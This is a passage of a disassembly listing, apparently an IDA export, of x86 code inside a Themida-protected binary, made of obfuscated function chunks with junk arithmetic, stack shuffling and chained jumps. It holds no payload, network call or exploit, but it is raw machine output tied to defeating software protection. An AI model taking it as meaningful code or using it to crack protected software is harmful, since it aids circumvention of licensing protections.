; END OF FUNCTION CHUNK	FOR sub_567049
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56DFF9


loc_564478:				; CODE XREF: sub_56DFF9-9958j
		not	eax
		xchg	eax, ecx
		jmp	sub_565AFE
; END OF FUNCTION CHUNK	FOR sub_56DFF9
; ---------------------------------------------------------------------------


loc_564480:				; CODE XREF: Themida_:0057326Bj
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_56A5FA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569E1B


loc_564494:				; CODE XREF: sub_569E1B+13j
		xor	ebx, [esp+2+var_4+2]
		xor	[esp+2+var_4+2], ebx
		xor	ebx, [esp+2+var_4+2]
		jmp	loc_56E310
; END OF FUNCTION CHUNK	FOR sub_569E1B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5681F5


loc_5644A2:				; CODE XREF: sub_5681F5+5589j
		add	edx, 4
		jmp	loc_56E93C
; END OF FUNCTION CHUNK	FOR sub_5681F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B06D


loc_5644AA:				; CODE XREF: sub_56B06D-6256j
		mov	ecx, 1CFB366Dh
		xor	ebx, ecx
		jmp	loc_5737B9
; END OF FUNCTION CHUNK	FOR sub_56B06D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AEF2


loc_5644B6:				; CODE XREF: sub_56AEF2-E21j
		mov	[esp-0Ch+arg_8], ebp
		mov	ebp, 40F4004Ah
		jmp	loc_562174
; END OF FUNCTION CHUNK	FOR sub_56AEF2
; ---------------------------------------------------------------------------
		mov	ecx, [esp]
		push	231Ch
		jmp	loc_568F97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569DB5


loc_5644D0:				; CODE XREF: sub_569DB5+1C16j
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		pop	[esp+4+var_4]
		jmp	loc_5738D2
; END OF FUNCTION CHUNK	FOR sub_569DB5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570019


loc_5644E1:				; CODE XREF: sub_570019-9088j
		add	ecx, 4
		push	eax
		mov	eax, 0E250DFEh
		dec	eax
		xor	eax, 0E250DF9h
		add	ecx, eax
		pop	eax
		xchg	ecx, [esp-4+arg_0]
		pop	esp
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_570019
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574304


loc_5644FF:				; CODE XREF: sub_574304-9C59j
		pop	ebp
		pop	esi
		push	edi
		jmp	loc_56AE9E
; END OF FUNCTION CHUNK	FOR sub_574304
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E1B8


loc_564507:				; CODE XREF: sub_56E1B8+1F72j
		add	eax, 2
		xchg	eax, [esp+0]
		jmp	loc_56F6B2
; END OF FUNCTION CHUNK	FOR sub_56E1B8
; ---------------------------------------------------------------------------


loc_564512:				; CODE XREF: Themida_:0056E4A1j
		sub	[esp+4], ecx
		pop	ecx
		jmp	loc_55FF9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574656


loc_56451C:				; CODE XREF: sub_574656-3398j
		sub	dword ptr [esp+4], 5EDC7FDCh
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		jmp	loc_56A9C6
; END OF FUNCTION CHUNK	FOR sub_574656
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563FA2


loc_564532:				; CODE XREF: sub_563FA2+FD89j
		inc	eax
		or	eax, 2C414068h
		dec	eax
		xor	eax, 0BF6FF4EFh
		add	ecx, eax
		jmp	loc_571AC6
; END OF FUNCTION CHUNK	FOR sub_563FA2
; ---------------------------------------------------------------------------


loc_564545:				; DATA XREF: Themida_:0055FCCCo
		mov	ax, [esp]
		push	0DB3h
		mov	[esp], edx
		jmp	loc_57327D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568E5C


loc_564556:				; CODE XREF: sub_568E5C-40CAj
		mov	ebx, 0BACC1379h
		sub	ebx, ecx
		pop	ecx
		sub	eax, ebx
		pop	ebx
		jmp	loc_574E3E
; END OF FUNCTION CHUNK	FOR sub_568E5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5747D7


loc_564566:				; CODE XREF: sub_5747D7-ED93j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+8+var_8]
		pop	esp
		or	eax, 32EC43BCh
		not	eax
		jmp	loc_56CB8C
; END OF FUNCTION CHUNK	FOR sub_5747D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569193


loc_564582:				; CODE XREF: sub_569193-2D14j
		add	edx, 4
		push	edi
		push	edx
		push	ebx
		mov	ebx, 6C8316E0h
		jmp	loc_5708A7
; END OF FUNCTION CHUNK	FOR sub_569193
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AEF2


loc_564595:				; CODE XREF: sub_56AEF2-68FDj
		add	ecx, 0B55ACF71h
		jmp	loc_56A0C4
; END OF FUNCTION CHUNK	FOR sub_56AEF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56306E


loc_5645A0:				; CODE XREF: sub_56306E+C17Dj
		pop	edx
		add	ecx, edx
		push	eax
		push	ebx
		mov	ebx, 3E5E1250h
		add	ebx, 1
		shl	ebx, 1
		sub	ebx, 7DED138Dh
		sub	ebx, 0A6A2AF6Ah
		mov	eax, ebx
		jmp	loc_568A0E
; END OF FUNCTION CHUNK	FOR sub_56306E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5634AF


loc_5645C5:				; CODE XREF: sub_5634AF+21F8j
		pop	edx
		sub	edx, 57472D9Fh
		pop	ecx
		mov	esi, edx
		pop	edx
		pop	ebp
		jmp	loc_566AD5
; END OF FUNCTION CHUNK	FOR sub_5634AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56657A


loc_5645D6:				; CODE XREF: sub_56657A+D105j
		movzx	cx, ah
		jmp	loc_562A34
; END OF FUNCTION CHUNK	FOR sub_56657A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567D72


loc_5645DF:				; CODE XREF: sub_567D72+4409j
		xor	eax, [esp+8+var_8]
		jmp	loc_57138E
; END OF FUNCTION CHUNK	FOR sub_567D72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AEF2


loc_5645E7:				; CODE XREF: sub_56AEF2-2120j
		mov	ecx, 62BF4C29h
		sub	ecx, esi
		pop	esi
		add	ecx, 0FFFFFFFFh
		jmp	loc_564595
; END OF FUNCTION CHUNK	FOR sub_56AEF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_5645FA:				; CODE XREF: sub_57354D-4CD7j
		push	3684h
		mov	[esp+0Ch+var_C], edi
		push	0CBBD96D4h
		jmp	loc_56D5C7
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5754DA


loc_56460C:				; CODE XREF: sub_5754DA-DD99j
		mov	cx, word ptr [esp+6+var_8+2]
		jmp	loc_568424
; END OF FUNCTION CHUNK	FOR sub_5754DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570E81


loc_564615:				; CODE XREF: sub_570E81-6FC9j
		mov	ecx, 4F294C6Fh
		shl	ecx, 7
		xor	ecx, 0D9458CEh
		dec	ecx
		sub	ecx, 43AC37D2h
		jmp	loc_57479A
; END OF FUNCTION CHUNK	FOR sub_570E81
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56BD44


loc_56462F:				; CODE XREF: sub_56BD44-387Fj
		pop	eax
		add	ecx, 4
		xchg	ecx, [esp+0Ch+var_C]
		jmp	loc_5696D9
; END OF FUNCTION CHUNK	FOR sub_56BD44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_573876


loc_56463B:				; CODE XREF: sub_573876-A9A6j
		xor	ecx, 1E04972h
		jmp	loc_566271
; END OF FUNCTION CHUNK	FOR sub_573876
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56BC97


loc_564646:				; CODE XREF: sub_56BC97-8BA2j
		xchg	edx, [esp+4+var_4]
		pop	esp
		jmp	loc_56B73C
; END OF FUNCTION CHUNK	FOR sub_56BC97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D359


loc_56464F:				; CODE XREF: sub_56D359+506Dj
		mov	edi, 44AB068Eh
		jmp	loc_561733
; END OF FUNCTION CHUNK	FOR sub_56D359
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560C12


loc_564659:				; CODE XREF: sub_560C12+19BFj
		mov	esp, [esp+8+var_8]
		mov	[esp+0], esp
		push	6A5Ah
		mov	[esp+4+var_4], esi
		mov	esi, 4
		add	[esp+4], esi
		pop	esi
		push	dword ptr [esp+0]
		jmp	loc_568D7A
; END OF FUNCTION CHUNK	FOR sub_560C12
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5638E4


loc_564679:				; CODE XREF: sub_5638E4+956Dj
		mov	esi, esp
		push	ebx
		mov	ebx, 5FA550FDh
		jmp	loc_56B599
; END OF FUNCTION CHUNK	FOR sub_5638E4

; =============== S U B	R O U T	I N E =======================================



sub_564686	proc near		; CODE XREF: sub_56B06D-133Dj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00565488 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00565901 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0056A2CB SIZE 0000006D BYTES
; FUNCTION CHUNK AT 0056F7CC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00570EF6 SIZE 00000008 BYTES

		sub	esp, 4
		jmp	loc_570EF6
sub_564686	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56BD44


loc_564691:				; CODE XREF: sub_56BD44+3j
		mov	[esp+4+var_4], ebp
		jmp	loc_571A81
; END OF FUNCTION CHUNK	FOR sub_56BD44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56DFF9


loc_564699:				; CODE XREF: sub_56DFF9+1DE6j
		mov	ecx, 22885DA4h
		neg	ecx
		xchg	eax, ecx
		jmp	loc_564478
; END OF FUNCTION CHUNK	FOR sub_56DFF9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564BC5


loc_5646A6:				; CODE XREF: sub_564BC5+926Aj
		pop	edi
		pop	eax
		shl	edx, 5
		push	ecx
		mov	ecx, 0E85C1244h
		jmp	loc_564F74
; END OF FUNCTION CHUNK	FOR sub_564BC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568E5C


loc_5646B6:				; CODE XREF: sub_568E5C+1B65j
		sub	edx, 12FACDDCh
		jmp	loc_5706B5
; END OF FUNCTION CHUNK	FOR sub_568E5C
; ---------------------------------------------------------------------------


loc_5646C1:				; CODE XREF: Themida_:0056B037j
		sub	eax, edx
		pop	edx
		mov	ebx, eax
		pop	eax
		add	ebp, ebx
		jmp	loc_571A3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D359


loc_5646CE:				; CODE XREF: sub_56D359+5FD9j
		mov	ebp, 4
		add	eax, 0B470314h
		add	eax, ebp
		sub	eax, 0B470314h
		jmp	loc_569A52
; END OF FUNCTION CHUNK	FOR sub_56D359
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567866


loc_5646E4:				; CODE XREF: sub_567866-50EEj
		add	edi, 4
		xchg	edi, [esp+4+var_4]
		pop	esp
		add	eax, 4
		xor	eax, [esp+0]
		xor	[esp+0], eax
		xor	eax, [esp+0]
		pop	esp
		push	dword ptr [eax]
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_567866
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_564702:				; CODE XREF: sub_57354D-5C24j
		neg	eax
		add	eax, 0B81F5B41h
		xor	edx, eax
		pop	eax
		add	ebp, 15A50815h
		sub	ebp, edx
		sub	ebp, 15A50815h
		pop	edx
		or	ebp, 68B76A6Fh
		sub	ebp, 7FBDFF6Fh
		and	eax, ebp
		jmp	loc_571EE1
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56657A


loc_56472E:				; CODE XREF: sub_56657A+48CCj
		xor	ebp, 9F16EFB0h
		add	edx, ebp
		pop	ebp
		jmp	loc_5631F8
; END OF FUNCTION CHUNK	FOR sub_56657A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57523A


loc_56473C:				; CODE XREF: sub_57523A-4956j
		mov	ecx, 7B9E311Ah
		jmp	loc_566A27
; END OF FUNCTION CHUNK	FOR sub_57523A

; =============== S U B	R O U T	I N E =======================================



sub_564746	proc near		; DATA XREF: Themida_:0055FEB4o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0056B341 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056C10C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056FAA0 SIZE 0000000E BYTES

		lodsb
		sub	esp, 4
		mov	[esp+4+var_4], ecx
		mov	cl, 53h
		shl	cl, 2
		shr	cl, 1
		push	eax
		mov	ah, bh
		mov	bh, cl
		jmp	loc_56C10C
sub_564746	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56628B


loc_564761:				; CODE XREF: sub_56628B+DA13j
		shr	eax, 6
		shl	eax, 7
		push	0
		jmp	loc_56CB76
; END OF FUNCTION CHUNK	FOR sub_56628B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561027


loc_564771:				; CODE XREF: sub_561027+128E5j
		add	esp, 4
		push	5499h
		mov	[esp+1Ch+var_1C], esi
		mov	esi, 400h
		jmp	loc_564163
; END OF FUNCTION CHUNK	FOR sub_561027
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56651E


loc_564786:				; CODE XREF: sub_56651E+38BBj
		sub	ebp, 4
		xchg	ebp, [esp+4+var_4]
		jmp	loc_5734C1
; END OF FUNCTION CHUNK	FOR sub_56651E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D1DD


loc_564794:				; CODE XREF: sub_56D1DD+20j
		pop	ebx
		push	eax
		mov	eax, 167A2C56h
		add	ebp, eax
		pop	eax
		sub	ebp, edi
		jmp	sub_566C83
; END OF FUNCTION CHUNK	FOR sub_56D1DD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5684A6


loc_5647A5:				; CODE XREF: sub_5684A6-8243j
		xor	ecx, 60212BCAh
		xor	edi, ecx
		pop	ecx
		push	esi
		jmp	loc_56141E
; END OF FUNCTION CHUNK	FOR sub_5684A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572E16


loc_5647B4:				; CODE XREF: sub_572E16-8A13j
		xor	ecx, esi
		pop	esi
		push	ebp
		mov	ebp, 87CB84DDh
		add	ecx, ebp
		pop	ebp
		sub	ebp, 57522D95h
		add	ebp, ecx
		add	ebp, 57522D95h
		pop	ecx
		jmp	loc_570D0D
; END OF FUNCTION CHUNK	FOR sub_572E16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5685B2


loc_5647D4:				; CODE XREF: sub_5685B2-6DBFj
		xor	cl, 8
		add	bh, cl
		pop	ecx
		or	dl, bh
		pop	ebx
		xor	dl, 71h
		jmp	loc_560CBE
; END OF FUNCTION CHUNK	FOR sub_5685B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5747AF


loc_5647E5:				; CODE XREF: sub_5747AF+18j
		mov	[esp+14h+var_14], esp
		push	ebp
		jmp	loc_564CFB
; END OF FUNCTION CHUNK	FOR sub_5747AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56657A


loc_5647EE:				; CODE XREF: sub_56657A+DDEDj
		mov	ecx, ebp
		pop	ebp
		push	edx
		push	76AD46FDh
		pop	edx
		jmp	loc_56CF7D
; END OF FUNCTION CHUNK	FOR sub_56657A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570732


loc_5647FD:				; CODE XREF: sub_570732-E9AEj
		mov	[esp+8+var_8], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	4CADh
		mov	[esp+0Ch+var_C], esi
		push	edi
		push	ecx
		mov	ecx, 10834D96h
		or	ecx, 59B27041h
		not	ecx
		xor	ecx, 0A64C822Ch
		mov	edi, ecx
		pop	ecx
		mov	esi, edi
		pop	edi
		sub	ebx, 2D3C1DC4h
		add	ebx, esi
		jmp	loc_56AACB
; END OF FUNCTION CHUNK	FOR sub_570732
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56A608


loc_564838:				; CODE XREF: sub_56A608-9E2Ej
		mov	ecx, 48822E75h
		jmp	loc_56826D
; END OF FUNCTION CHUNK	FOR sub_56A608
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574CBE


loc_564842:				; CODE XREF: sub_574CBE-80EEj
		push	esi
		mov	esi, 53EC48E1h
		xor	esi, 5EE0277Dh
		sub	esp, 4
		mov	[esp+14h+var_14], ecx
		mov	ecx, 68FD001Ah
		dec	ecx
		jmp	loc_56CED2
; ---------------------------------------------------------------------------


loc_564862:				; CODE XREF: sub_574CBE-269Bj
		push	65B80E40h
		pop	edi
		push	eax
		mov	eax, 580E52E0h
		sub	eax, 2183021Eh
		sub	eax, 73C5500h
		and	eax, 253B4C26h
		sub	eax, 0E2C52224h
		add	eax, 2A9468CDh
		shr	eax, 3
		shl	eax, 6
		not	eax
		jmp	loc_56EB15
; END OF FUNCTION CHUNK	FOR sub_574CBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568E5C


loc_564894:				; CODE XREF: sub_568E5C+8EF9j
		pop	esp
		push	ecx
		jmp	loc_565774
; END OF FUNCTION CHUNK	FOR sub_568E5C

; =============== S U B	R O U T	I N E =======================================



sub_56489B	proc near		; CODE XREF: sub_57117B+31Cj

var_4		= word ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 005622F9 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056F553 SIZE 00000007 BYTES

		sub	esp, 2
		mov	[esp+0], ax
		mov	al, 6
		sub	cl, al
		pop	ax
		jmp	loc_56F553
sub_56489B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565B6E


loc_5648B0:				; CODE XREF: sub_565B6E+EC27j
		push	2F91h
		jmp	loc_56EF01
; END OF FUNCTION CHUNK	FOR sub_565B6E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D855


loc_5648BA:				; CODE XREF: sub_56D855-4665j
		xor	ecx, [esp+10h+var_10]
		pop	esp
		push	ebp
		mov	ebp, esp
		jmp	loc_56EA2E
; END OF FUNCTION CHUNK	FOR sub_56D855

; =============== S U B	R O U T	I N E =======================================



sub_5648C6	proc near		; CODE XREF: sub_56B1DC-AE8Bj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00560FB1 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056151E SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0056420A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00566706 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00566994 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00566F0F SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00568C88 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005699E1 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056B8D8 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056BB65 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056D07A SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056E2E0 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00570C42 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005721F7 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005748ED SIZE 00000022 BYTES

		push	ebp
		jmp	loc_566706
sub_5648C6	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572DD7


loc_5648CC:				; CODE XREF: sub_572DD7-3950j
		sub	dword ptr [esp+4], 44145098h
		sub	[esp+4], esi
		add	dword ptr [esp+4], 44145098h
		pop	esi
		add	dword ptr [esp+0], 5248226Bh
		sub	[esp+0], eax
		sub	dword ptr [esp+0], 5248226Bh
		push	ebx
		push	edi
		push	ecx
		mov	ecx, 23B73080h
		sub	ecx, 6DE3A1h
		jmp	loc_573F55
; END OF FUNCTION CHUNK	FOR sub_572DD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566B79


loc_564905:				; CODE XREF: sub_566B79+8383j
		mov	[esp+0], eax
		mov	eax, 4
		add	[esp+arg_0], eax
		push	dword ptr [esp+0]
		jmp	loc_562541
; END OF FUNCTION CHUNK	FOR sub_566B79
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5638E4


loc_564919:				; CODE XREF: sub_5638E4+1540j
		sub	esi, 4F1B41C6h
		pop	ebx
		add	esi, 4
		xchg	esi, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		sub	bl, 5Fh
		xor	al, bl
		pop	ebx
		xor	bl, al
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	[esp-4+arg_0]
		pop	eax
		push	edi
		mov	edi, esp
		push	edx
		mov	edx, 0A8857EEh
		neg	edx
		neg	edx
		push	edi
		mov	edi, 63FD4D87h
		jmp	loc_565EB9
; END OF FUNCTION CHUNK	FOR sub_5638E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560056


loc_564953:				; CODE XREF: sub_560056+4FD0j
		add	eax, 4
		push	edi
		jmp	loc_56F91E
; END OF FUNCTION CHUNK	FOR sub_560056
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D4B8


loc_56495E:				; CODE XREF: sub_56D4B8+4934j
		push	ecx
		sub	[esp-8+arg_4], 780803FBh
		push	[esp-8+arg_4]
		mov	eax, [esp-4+arg_0]
		add	esp, 4
		push	417Bh
		mov	[esp-4+arg_0], edi
		push	esp
		pop	edi
		push	ebp
		mov	ebp, 2ECE7B60h
		or	ebp, 363D0377h
		push	edi
		mov	edi, 0FFFFFFFFh
		sub	ebp, edi
		pop	edi
		sub	ebp, 1
		shr	ebp, 7
		dec	ebp
		push	eax
		mov	eax, 4D197352h
		sub	eax, 0DE75815h
		sub	eax, 404E6C4Dh
		shr	eax, 3
		xor	eax, 28183269h
		xor	eax, 0C84646B8h
		jmp	loc_5612BA
; END OF FUNCTION CHUNK	FOR sub_56D4B8
; ---------------------------------------------------------------------------


loc_5649BA:				; CODE XREF: Themida_:0056042Dj
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		push	ebx
		push	esi
		push	338D7560h
		mov	esi, [esp]
		add	esp, 4
		xor	esi, 434871ADh
		shr	esi, 7
		xor	esi, 0AFBE536h
		jmp	loc_570D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574656


loc_5649E5:				; CODE XREF: sub_574656-7DFj
		xchg	ecx, ebx
		push	ebp
		mov	ebp, 5D7E1130h
		sub	ebp, 6BDE2115h
		xor	ebp, 48785C27h
		shr	ebp, 3
		push	esi
		jmp	loc_56CF9B
; END OF FUNCTION CHUNK	FOR sub_574656
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_573612


loc_564A02:				; CODE XREF: sub_573612-E179j
		add	esi, 4
		jmp	loc_56FEBF
; END OF FUNCTION CHUNK	FOR sub_573612
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572641


loc_564A0A:				; CODE XREF: sub_572641-8641j
		xchg	ebp, [esp+6+var_8+2]
		pop	esp
		jmp	sub_5731F9
; END OF FUNCTION CHUNK	FOR sub_572641
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5690E8


loc_564A13:				; CODE XREF: sub_5690E8-62B1j
		mov	ebp, [esp+8+var_8]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+0Ch+var_C]
		jmp	loc_563B3E
; END OF FUNCTION CHUNK	FOR sub_5690E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574949


loc_564A2D:				; CODE XREF: sub_574949-C791j
		add	cl, dh
		add	cl, 0C7h
		pop	edx
		jmp	loc_560E90
; END OF FUNCTION CHUNK	FOR sub_574949
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566DFE


loc_564A38:				; CODE XREF: sub_566DFE+D8D8j
		add	edi, esi
		jmp	loc_57149C
; END OF FUNCTION CHUNK	FOR sub_566DFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56626B


loc_564A3F:				; CODE XREF: sub_56626B+1j
		mov	bh, 7
		sub	bh, 2Ah
		jmp	loc_57243D
; END OF FUNCTION CHUNK	FOR sub_56626B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_564A49:				; CODE XREF: sub_564D26+ADE1j
		mov	[esp+10h+var_10], edx
		mov	edx, 748E6EE8h
		add	edx, 231966C3h
		add	edx, 72F409CEh
		jmp	loc_56FF6E
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------


loc_564A62:				; CODE XREF: Themida_:0056CE25j
		pop	esp
		jmp	loc_56CDFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5747D7


loc_564A68:				; CODE XREF: sub_5747D7+6j
		mov	[esp+4+var_4], esp
		push	eax
		jmp	loc_56426E
; END OF FUNCTION CHUNK	FOR sub_5747D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5605BC


loc_564A71:				; CODE XREF: sub_5605BC+12525j
		xor	ebx, [esp+28h+var_28]
		xor	[esp+28h+var_28], ebx
		xor	ebx, [esp+28h+var_28]
		pop	esp
		mov	[esp+24h+var_24], ebp
		push	319Bh
		mov	[esp+28h+var_28], ecx
		push	744Fh
		mov	[esp+0], esi
		mov	esi, 76446D97h
		mov	ecx, esi
		pop	esi
		sub	ecx, 6CAB70D6h
		and	ecx, 436A0E21h
		push	esi
		push	edx
		mov	edx, 6C235ED3h
		mov	esi, 6C235ED2h
		jmp	loc_567856
; END OF FUNCTION CHUNK	FOR sub_5605BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574304


loc_564AB3:				; CODE XREF: sub_574304+7DDj
		pop	ebp
		push	[esp+8+var_8]
		pop	edi
		add	esp, 4
		push	2480h
		jmp	loc_56B1F3
; END OF FUNCTION CHUNK	FOR sub_574304
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C3E2


loc_564AC5:				; CODE XREF: sub_56C3E2+2Fj
		add	ebp, 353A0927h
		add	ebp, edx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_563CAA
; END OF FUNCTION CHUNK	FOR sub_56C3E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568D9E


loc_564AE1:				; CODE XREF: sub_568D9E+3803j
		add	edx, ebp
		sub	edx, 51A900D5h
		mov	ebp, [esp+4+var_4]
		add	esp, 4
		xor	edx, 2B3127ABh
		or	eax, edx
		pop	edx
		push	esi
		mov	esi, 9AA0393Eh
		add	eax, esi
		pop	esi
		sub	eax, edi
		push	dword ptr [esp+0]
		jmp	loc_57475F
; END OF FUNCTION CHUNK	FOR sub_568D9E

; =============== S U B	R O U T	I N E =======================================



sub_564B0B	proc near		; DATA XREF: Themida_:0055FE2Co

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0056AF7F SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0056E1D1 SIZE 0000001F BYTES

		push	ebx
		mov	ebx, esp
		push	edx
		mov	edx, 4
		sub	ebx, 69C835A5h
		sub	ebx, 24F21996h
		add	ebx, edx
		add	ebx, 24F21996h
		jmp	loc_56E1D1
sub_564B0B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_575420


loc_564B2D:				; CODE XREF: sub_575420-D52Fj
		mov	[esp+14h+var_14], ecx
		mov	cl, ah
		jmp	loc_56164C
; END OF FUNCTION CHUNK	FOR sub_575420
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57146D


loc_564B37:				; CODE XREF: sub_57146D-57DBj
		sub	esi, 4
		xchg	esi, [esp+10h+var_10]
		pop	esp
		mov	[esp+0Ch+var_C], eax
		mov	ah, 80h
		inc	ah
		neg	ah
		xor	ah, 0F3h
		shl	ah, 8
		jmp	loc_568C8E
; END OF FUNCTION CHUNK	FOR sub_57146D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E126


loc_564B52:				; CODE XREF: sub_56E126-4193j
		mov	[esp+4+var_4], esi
		jmp	loc_565C76
